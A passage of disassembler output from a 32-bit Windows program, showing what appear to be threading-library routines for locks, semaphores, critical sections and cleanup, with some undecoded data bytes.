___:00431194j call near ptr 28302E5h nop loc_4311FC: ; CODE XREF: ___:004311ECj pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431250: ; CODE XREF: ___:00401014j push ecx lea eax, [esp+0] push eax call sub_401C26 add esp, 4 test eax, eax mov eax, 1 jnz short loc_43126B mov eax, [esp+0] loc_43126B: ; CODE XREF: ___:00431265j pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431280 proc near ; CODE XREF: sub_401708j push esi call sub_401320 push offset aKernel32_dll ; "KERNEL32.DLL" mov esi, eax call near ptr 27D0782h nop push offset aInterlockedcom ; "InterlockedCompareExchange" push eax mov dword_50E3E0, eax call near ptr 27E0000h nop test eax, eax mov dword_50E3FC, eax jnz short loc_4312CD mov eax, dword_50E3E0 mov dword_50E3FC, offset sub_4012D0 push eax nop call near ptr 27403ACh mov dword_50E3E0, 0 loc_4312CD: ; CODE XREF: sub_431280+2Bj mov eax, esi pop esi retn sub_431280 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431300 proc near ; CODE XREF: sub_40161Dj mov eax, dword_50E3E4 test eax, eax jz short loc_431350 mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 86E8501Ah, 8BFFFD04h dd 50E3E80Dh, 4C48300h, 6A118Bh, 0ECC6E852h, 0E8900230h dd 0FFFD02FBh, 50E3E0A1h, 74C08500h, 5DE85007h, 900230F0h ; --------------------------------------------------------------------------- loc_431350: ; CODE XREF: sub_431300+7j mov eax, 1 retn sub_431300 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431380 proc near ; CODE XREF: sub_4017B2j mov eax, 1 retn sub_431380 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4313A0 proc near ; CODE XREF: sub_4017C1j mov eax, dword_50E3E4 test eax, eax jz short loc_4313DB mov eax, dword_50E3E8 push eax call sub_401190 ; --------------------------------------------------------------------------- dd 8504C483h, 832074C0h, 75012078h, 0E6E8501Ah, 8BFFFD03h dd 50E3E80Dh, 4C48300h, 6A118Bh, 0EC26E852h ; --------------------------------------------------------------------------- xor [edx], al nop loc_4313DB: ; CODE XREF: sub_4313A0+7j mov eax, 1 retn sub_4313A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_431410: ; CODE XREF: ___:00402239j push ecx push esi push offset dword_50E9C0 xor esi, esi nop call near ptr 7C901005h mov eax, dword_50E3F0 test eax, eax mov [esp+4], eax jz short loc_43144E loc_43142C: ; CODE XREF: ___:0043144Cj test esi, esi jnz short loc_43144E lea eax, [esp+4] push eax call sub_401604 mov ecx, [esp+8] mov esi, eax add esp, 4 mov eax, [ecx+18h] test eax, eax mov [esp+4], eax jnz short loc_43142C loc_43144E: ; CODE XREF: ___:0043142Aj ; ___:0043142Ej push offset dword_50E9C0 nop call near ptr 7C9010EDh mov eax, esi pop esi neg eax sbb eax, eax and eax, 0Bh pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431490 proc near ; CODE XREF: sub_4012B7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_4314A9 mov eax, [eax] test eax, eax jz short loc_4314A9 cmp dword ptr [eax], 0C4C0FFEEh jnz short loc_4314A9 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4314A9: ; CODE XREF: sub_431490+6j ; sub_431490+Cj ... mov eax, 1 retn sub_431490 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4314C0 proc near ; CODE XREF: sub_401320j mov eax, dword_50E3E4 test eax, eax jz short loc_4314CF mov eax, 1 retn ; --------------------------------------------------------------------------- loc_4314CF: ; CODE XREF: sub_4314C0+7j push 0 push offset dword_50E3E8 mov dword_50E3E4, 1 call sub_4015FF add esp, 8 test eax, eax jnz short loc_4314FE push eax push offset dword_50E3EC call sub_4015FF add esp, 8 test eax, eax jz short loc_431503 loc_4314FE: ; CODE XREF: sub_4314C0+2Aj call sub_40163B loc_431503: ; CODE XREF: sub_4314C0+3Cj push esi mov esi, dword_50F85C push offset dword_50E900 call esi push offset dword_50E960 call esi push offset dword_50E9C0 call esi push offset dword_50E940 call esi push offset dword_50E9A0 call esi push offset dword_50E980 call esi mov eax, dword_50E3E4 pop esi retn sub_4314C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431560 proc near ; CODE XREF: sub_40163Bj mov eax, dword_50E3E4 test eax, eax jz locret_431619 mov eax, dword_50E3E8 test eax, eax jz short loc_431589 push eax call sub_401AA0 add esp, 4 mov dword_50E3E8, 0 loc_431589: ; CODE XREF: sub_431560+14j mov eax, dword_50E3EC test eax, eax jz short loc_4315A5 push eax call sub_401AA0 add esp, 4 mov dword_50E3EC, 0 loc_4315A5: ; CODE XREF: sub_431560+30j push esi push offset dword_50E900 call near ptr 7C901005h nop mov eax, dword_44574C cmp eax, 1 jz short loc_4315D3 push edi mov edi, dword_50FAC4 loc_4315C2: ; CODE XREF: sub_431560+70j mov esi, [eax+8] push eax call edi ; free add esp, 4 cmp esi, 1 mov eax, esi jnz short loc_4315C2 pop edi loc_4315D3: ; CODE XREF: sub_431560+59j push offset dword_50E900 call near ptr 7C9010EDh nop mov esi, dword_50F858 push offset dword_50E980 call esi push offset dword_50E9A0 call esi push offset dword_50E940 call esi push offset dword_50E9C0 call esi push offset dword_50E960 call esi push offset dword_50E900 call esi mov dword_50E3E4, 0 pop esi locret_431619: ; CODE XREF: sub_431560+7j retn sub_431560 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_431650: ; CODE XREF: ___:loc_401B95j push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+8] push esi push edi push eax mov esi, [eax] mov ecx, [eax+4] mov edx, [eax+8] mov [ebp-4], esi mov [ebp-0Ch], ecx mov [ebp-8], edx call near ptr 77C2C21Bh nop mov eax, dword_50E3E8 push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- mov dword ptr [esi+0Ch], 1 add esi, 3Ch push 0 push esi call sub_436A5C ; --------------------------------------------------------------------------- mov edi, [ebp-4] add esp, 14h test eax, eax jnz short loc_4316AC mov ecx, [ebp-8] push ecx call dword ptr [ebp-0Ch] add esp, 4 mov [edi+14h], eax mov esi, eax jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316AC: ; CODE XREF: ___:00431699j dec eax jz short loc_4316B5 dec eax or esi, 0FFFFFFFFh jmp short loc_4316B8 ; --------------------------------------------------------------------------- loc_4316B5: ; CODE XREF: ___:004316ADj mov esi, [edi+14h] loc_4316B8: ; CODE XREF: ___:004316AAj ; ___:004316B3j cmp dword ptr [edi+20h], 1 jnz short loc_4316D7 call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4316D7: ; CODE XREF: ___:004316BCj push edi call sub_40131B add esp, 4 push esi nop call near ptr 77C3A307h add esp, 4 mov eax, esi pop edi pop esi mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431730 proc near ; CODE XREF: sub_4017ADj var_84 = byte ptr -84h var_80 = dword ptr -80h var_58 = byte ptr -58h var_4C = dword ptr -4Ch var_8 = byte ptr -8 arg_0 = dword ptr 4 sub esp, 84h push ebx mov ebx, [esp+88h+arg_0] test ebx, ebx push esi jz short loc_4317AA lea esi, [ebx+2Ch] push edi push esi call sub_402225 push esi mov dword ptr [ebx+0Ch], 5 call sub_4010C3 push ebx call sub_40131B mov ecx, 21h mov esi, ebx lea edi, [esp+9Ch+var_84] push ebx rep movsd call sub_401BBD mov eax, [esp+0A0h+var_4C] mov esi, dword_50F8D8 add esp, 10h test eax, eax pop edi jz short loc_431788 push eax call esi loc_431788: ; CODE XREF: sub_431730+53j lea eax, [esp+8Ch+var_58] push eax call sub_40222F mov eax, [esp+90h+var_80] add esp, 4 test eax, eax jz short loc_4317AA test [esp+8Ch+var_8], 1 jnz short loc_4317AA push eax call esi loc_4317AA: ; CODE XREF: sub_431730+11j ; sub_431730+6Bj ... pop esi pop ebx add esp, 84h retn sub_431730 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4317F0 proc near ; CODE XREF: sub_401DC5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp push esi push edi push 14h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jnz short loc_431811 pop edi pop esi pop ebp mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_431811: ; CODE XREF: sub_4317F0+15j mov edi, [esp+10h+arg_8] mov ebp, [esp+10h+arg_4] mov dword ptr [esi], 0FFFFFFFFh mov [esi+4], ebp lea ebx, [edi+8] mov [esi+8], edi push ebx call sub_402225 add esp, 4 mov [esp+10h+arg_4], eax test eax, eax jz short loc_431852 push esi call sub_40222F push esi call near ptr 77C2C21Bh nop mov eax, [esp+18h+arg_4] add esp, 8 pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431852: ; CODE XREF: sub_4317F0+47j mov eax, [edi+0Ch] push ebx mov [esi+10h], eax mov [edi+0Ch], esi call sub_4010C3 add esp, 4 test ebp, ebp jz short loc_431877 mov ecx, [ebp+80h] mov [esi+0Ch], ecx mov [ebp+80h], esi loc_431877: ; CODE XREF: sub_4317F0+76j mov edx, [esp+10h+arg_0] pop edi xor eax, eax mov [edx], esi pop esi pop ebp pop ebx retn sub_4317F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4318C0 proc near ; CODE XREF: sub_40105Fj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_4318E7 mov eax, [esi+8] test eax, eax jnz short loc_4318E7 mov eax, [esi+4] test eax, eax jnz short loc_4318E7 push esi call sub_40222F push esi call near ptr 77C2C21Bh nop add esp, 8 loc_4318E7: ; CODE XREF: sub_4318C0+7j ; sub_4318C0+Ej ... pop esi retn sub_4318C0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431900 proc near ; CODE XREF: sub_40131Bj arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx push esi jz short loc_43196D mov esi, [ebx+80h] test esi, esi jz short loc_43196D push edi loc_431915: ; CODE XREF: sub_431900+6Aj push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_431968 mov edi, [esi+8] test edi, edi jz short loc_431943 push edi call sub_401190 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431943 mov edi, [edi+4] test edi, edi jz short loc_431943 push eax loc_43193E: ; CODE XREF: ___:004319B7j call edi ; free add esp, 4 loc_431943: ; CODE XREF: sub_431900+27j ; sub_431900+34j ... mov eax, [esi+0Ch] mov dword ptr [esi+4], 0 push esi mov [ebx+80h], eax call sub_4010C3 push esi call sub_40105F mov esi, [ebx+80h] add esp, 8 loc_431968: ; CODE XREF: sub_431900+20j test esi, esi jnz short loc_431915 pop edi loc_43196D: ; CODE XREF: sub_431900+8j ; sub_431900+12j pop esi pop ebx retn sub_431900 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431990 proc near ; CODE XREF: sub_401DD4j mov eax, dword_50E3E8 push ebx push edi push eax call sub_401190 sub_431990 endp ; --------------------------------------------------------------------------- db 8Bh, 5Ch, 24h ; --------------------------------------------------------------------------- adc [ebx-47CFB3Ch], al add cl, [ebx-7CF28B08h] sti add [eax+ecx+6Ah], esi add [eax-7F7B3918h], edx ja short loc_43193E push dword ptr [esi+eax-0Ah] inc edi jl short near ptr loc_4319C0+1 loc_4319C0: ; CODE XREF: ___:004319BEj jz short loc_4319E5 push esi mov eax, ebx xor esi, esi dec eax jz short loc_4319D2 dec eax jnz short loc_4319D5 or esi, 0FFFFFFFFh jmp short loc_4319D5 ; --------------------------------------------------------------------------- loc_4319D2: ; CODE XREF: ___:004319C8j mov esi, [edi+14h] loc_4319D5: ; CODE XREF: ___:004319CBj ; ___:004319D0j call sub_4017C1 push esi nop call near ptr 77C3A307h add esp, 4 pop esi loc_4319E5: ; CODE XREF: ___:loc_4319C0j push 1 call sub_401B0E ; --------------------------------------------------------------------------- dd 8304C483h, 57533CC7h, 537AE890h, 90907780h, 90909090h dd 8 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431A20 proc near ; CODE XREF: sub_401B0Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_401122 sub_431A20 endp ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_431A3F loc_431A32: ; CODE XREF: ___:00431A3Dj push esi call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jnz short loc_431A32 loc_431A3F: ; CODE XREF: ___:00431A30j pop esi retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431A60: ; CODE XREF: ___:00401DDEj xor eax, eax retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431A80 proc near ; CODE XREF: sub_4012D0j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push edx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] lock cmpxchg [ecx], edx mov [ebp+var_4], eax pop edx pop ecx mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 0Ch sub_431A80 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431AC0 proc near ; CODE XREF: sub_401C26j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 lea eax, [esp+8+var_4] lea ecx, [esp+8+var_8] push esi push eax push ecx xor esi, esi call near ptr 2770AD5h nop push eax nop call near ptr 2730B8Ch test eax, eax jz short loc_431B02 mov edx, [esp+0Ch+var_8] xor ecx, ecx mov eax, 1 loc_431AEC: ; CODE XREF: sub_431AC0+33j test eax, edx jz short loc_431AF1 inc ecx loc_431AF1: ; CODE XREF: sub_431AC0+2Ej shl eax, 1 jnz short loc_431AEC mov edx, [esp+0Ch+arg_0] mov eax, esi pop esi mov [edx], ecx add esp, 8 retn ; --------------------------------------------------------------------------- loc_431B02: ; CODE XREF: sub_431AC0+1Fj mov eax, 0Bh pop esi add esp, 8 retn sub_431AC0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431B30 proc near ; CODE XREF: sub_40184Dj arg_0 = dword ptr 4 push esi push offset dword_50E9A0 xor esi, esi nop call near ptr 7C901005h mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_431B64 push esi push ecx call sub_401F73 add esp, 8 mov esi, eax push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431B64: ; CODE XREF: sub_431B30+17j test eax, eax jnz short loc_431B6D mov esi, 16h loc_431B6D: ; CODE XREF: sub_431B30+36j push offset dword_50E9A0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_431B30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BA0 proc near ; CODE XREF: sub_401852j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+14h] lea ecx, [esi+4] neg eax push ecx mov [esi+0Ch], eax mov dword ptr [esi+14h], 0 call sub_4010C3 push esi call sub_4010C3 add esp, 8 pop esi retn sub_431BA0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_431BE0 proc near ; CODE XREF: sub_401F73j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi xor esi, esi test eax, eax jnz short loc_431BF2 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431BF2: ; CODE XREF: sub_431BE0+9j mov eax, [esp+4+arg_4] push ebx test eax, eax push edi jz short loc_431C12 cmp dword ptr [eax], 0 jz short loc_431C12 mov ecx, [esp+0Ch+arg_0] mov edi, 16h mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C12: ; CODE XREF: sub_431BE0+1Aj ; sub_431BE0+1Fj push 1Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_431C36 mov ecx, [esp+0Ch+arg_0] mov edi, 0Ch mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431C36: ; CODE XREF: sub_431BE0+43j push 0 push esi mov dword ptr [esi+0Ch], 0 mov dword ptr [esi+10h], 0 mov dword ptr [esi+14h], 0 call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C94 lea ebx, [esi+4] push eax push ebx call sub_402199 mov edi, eax add esp, 8 test edi, edi jnz short loc_431C8B push eax lea eax, [esi+8] push eax call sub_401541 mov edi, eax add esp, 8 test edi, edi jz short loc_431CAC push ebx call sub_40222F add esp, 4 loc_431C8B: ; CODE XREF: sub_431BE0+8Dj push esi call sub_40222F add esp, 4 loc_431C94: ; CODE XREF: sub_431BE0+7Aj push esi nop call near ptr 77C2C21Bh mov ecx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, edi pop edi mov [ecx], esi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_431CAC: ; CODE XREF: sub_431BE0+A0j mov ecx, [esp+0Ch+arg_0] xor edi, edi mov eax, edi mov dword ptr [esi+18h], 0FACADE2h pop edi mov [ecx], esi pop ebx pop esi retn sub_431BE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_431D10: ; CODE XREF: ___:004018ACj mov eax, [esp+4] push ebx push ebp push esi push edi xor ebx, ebx xor edi, edi xor ebp, ebp test eax, eax jz loc_431E4B mov esi, [eax] test esi, esi jz loc_431E4B cmp esi, 0FFFFFFFFh jz loc_431E07 cmp dword ptr [esi+18h], 0FACADE2h jnz loc_431E4B push esi call sub_402225 add esp, 4 test eax, eax jnz loc_431E50 lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_431D79 push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431D79: ; CODE XREF: ___:00431D67j mov eax, [esi+10h] test eax, eax jg short loc_431DED mov eax, [esi+0Ch] mov ecx, [esi+14h] cmp eax, ecx jg short loc_431DED push edi mov dword ptr [esi+18h], 0 call sub_4010C3 add esp, 4 mov ebx, eax test ebx, ebx push esi jz short loc_431DB0 call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431DB0: ; CODE XREF: ___:00431D9Fj call sub_4010C3 add esp, 4 test eax, eax jnz loc_431E50 mov ecx, [esp+14h] lea edx, [esi+8] push edx mov [ecx], eax call sub_401A91 push edi mov ebx, eax call sub_40222F push esi mov edi, eax call sub_40222F push esi mov ebp, eax call near ptr 77C2C21Bh nop add esp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431DED: ; CODE XREF: ___:00431D7Ej ; ___:00431D88j push edi call sub_4010C3 push esi mov ebx, eax call sub_4010C3 add esp, 8 mov edi, eax mov ebp, 10h jmp short loc_431E33 ; --------------------------------------------------------------------------- loc_431E07: ; CODE XREF: ___:00431D33j push offset dword_50E9A0 nop call near ptr 7C901005h mov eax, [esp+14h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_431E23 mov dword ptr [eax], 0 jmp short loc_431E28 ; --------------------------------------------------------------------------- loc_431E23: ; CODE XREF: ___:00431E19j mov ebx, 10h loc_431E28: ; CODE XREF: ___:00431E21j push offset dword_50E9A0 nop call near ptr 7C9010EDh loc_431E33: ; CODE XREF: ___:00431DEBj ; ___:00431E05j test ebx, ebx jz short loc_431E3E pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E3E: ; CODE XREF: ___:00431E35j test edi, edi mov eax, edi jnz short loc_431E50 pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_431E4B: ; CODE XREF: ___:00431D20j ; ___:00431D2Aj ... mov eax, 16h loc_431E50: ; CODE XREF: ___:00431D51j ; ___:00431DBAj ... pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_431EC0: ; CODE XREF: ___:00401E88j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_431EE3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_431EE3: ; CODE XREF: ___:00431ED2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F10: ; CODE XREF: ___:00401794j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_431F31 mov eax, [ecx] test eax, eax jz short loc_431F31 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_431F31: ; CODE XREF: ___:00431F19j ; ___:00431F1Fj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F50: ; CODE XREF: ___:00401136j mov eax, [esp+4] test eax, eax jz short loc_431F6D mov eax, [eax] test eax, eax jz short loc_431F6D mov ecx, [esp+8] test ecx, ecx jz short loc_431F6D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_431F6D: ; CODE XREF: ___:00431F56j ; ___:00431F5Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431F90: ; CODE XREF: ___:0040159Bj mov eax, [esp+4] test eax, eax jz short loc_431FBA mov ecx, [eax] test ecx, ecx jz short loc_431FBA mov eax, [esp+8] cmp eax, 1 jz short loc_431FAE test eax, eax jnz short loc_431FBA mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_431FAE: ; CODE XREF: ___:00431FA5j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_431FBA: ; CODE XREF: ___:00431F96j ; ___:00431F9Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431FD0: ; CODE XREF: ___:00402077j push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_43208A mov eax, [esi] test eax, eax jz loc_43208A cmp eax, 0FFFFFFFFh jnz short loc_432004 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432004 cmp eax, 10h jnz loc_43208F loc_432004: ; CODE XREF: ___:00431FECj ; ___:00431FF9j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz short loc_43208A push esi call sub_402225 add esp, 4 test eax, eax jnz short loc_43208F mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_43207D lea edi, [esi+4] push edi call sub_402225 mov ebx, eax add esp, 4 test ebx, ebx jz short loc_43204D push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43204D: ; CODE XREF: ___:0043203Cj mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_43207D push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43207D: ; CODE XREF: ___:0043202Aj ; ___:0043206Cj push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_43208A: ; CODE XREF: ___:00431FD9j ; ___:00431FE3j ... mov eax, 16h loc_43208F: ; CODE XREF: ___:00431FFEj ; ___:0043201Aj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: ___:0040169Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz loc_4321AF mov eax, [esi] test eax, eax jz loc_4321AF cmp eax, 0FFFFFFFFh jnz short loc_432114 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432114 cmp eax, 10h jnz loc_4321B4 loc_432114: ; CODE XREF: ___:004320FCj ; ___:00432109j mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4321AF mov ebx, [esp+14h] push ebx push esi call sub_401BC2 add esp, 8 test eax, eax jnz short loc_4321B4 mov ecx, [esi+0Ch] inc ecx mov eax, ecx mov [esi+0Ch], ecx cmp eax, 7FFFFFFFh jnz short loc_4321A2 lea edi, [esi+4] push ebx push edi call sub_401BC2 mov ebx, eax add esp, 8 test ebx, ebx jz short loc_432172 cmp ebx, 274Ch jnz short loc_432163 inc dword ptr [esi+14h] loc_432163: ; CODE XREF: ___:0043215Ej push esi call sub_4010C3 add esp, 4 mov eax, ebx pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_432172: ; CODE XREF: ___:00432156j mov eax, [esi+14h] mov ebx, [esi+0Ch] sub ebx, eax push edi mov [esi+0Ch], ebx mov dword ptr [esi+14h], 0 call sub_4010C3 mov edi, eax add esp, 4 test edi, edi jz short loc_4321A2 push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321A2: ; CODE XREF: ___:00432143j ; ___:00432191j push esi call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_4321AF: ; CODE XREF: ___:004320E9j ; ___:004320F3j ... mov eax, 16h loc_4321B4: ; CODE XREF: ___:0043210Ej ; ___:00432133j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: ___:004015C8j sub esp, 0Ch push ebp push esi mov esi, [esp+18h] push edi test esi, esi jz loc_4322F6 mov eax, [esi] test eax, eax jz loc_4322F6 cmp eax, 0FFFFFFFFh jnz short loc_432237 push esi call sub_40184D add esp, 4 test eax, eax jz short loc_432237 cmp eax, 10h jnz loc_4322FB loc_432237: ; CODE XREF: ___:0043221Fj ; ___:0043222Cj mov esi, [esi] cmp dword ptr [esi+18h], 0FACADE2h jnz loc_4322F6 push esi call sub_402225 add esp, 4 test eax, eax jnz loc_4322FB lea ebp, [esi+4] push ebp call sub_402225 mov edi, eax add esp, 4 test edi, edi jz short loc_43227B push esi call sub_4010C3 add esp, 4 mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_43227B: ; CODE XREF: ___:00432267j mov eax, [esi+10h] test eax, eax jnz short loc_4322EA mov eax, [esi+14h] test eax, eax jle short loc_432298 mov ecx, [esi+0Ch] mov dword ptr [esi+14h], 0 sub ecx, eax mov [esi+0Ch], ecx loc_432298: ; CODE XREF: ___:00432287j mov eax, [esi+0Ch] test eax, eax jle short loc_4322EA neg eax push ebx mov [esi+14h], eax push esi lea eax, [esp+14h] push offset sub_401852 push eax call sub_401659 ; --------------------------------------------------------------------------- add esp, 0Ch lea ebx, [esi+8] loc_4322BB: ; CODE XREF: ___:004322D0j push ebp push ebx call sub_401203 mov edi, eax add esp, 8 test edi, edi jnz short loc_4322D2 mov eax, [esi+14h] test eax, eax jl short loc_4322BB loc_4322D2: ; CODE XREF: ___:004322C9j xor ecx, ecx test edi, edi setnz cl push ecx call sub_401122 ; --------------------------------------------------------------------------- add esp, 4 test edi, edi pop ebx jnz short loc_4322ED mov [esi+0Ch], edi loc_4322EA: ; CODE XREF: ___:00432280j ; ___:0043229Dj inc dword ptr [esi+10h] loc_4322ED: ; CODE XREF: ___:004322E5j mov eax, edi pop edi pop esi pop ebp add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_4322F6: ; CODE XREF: 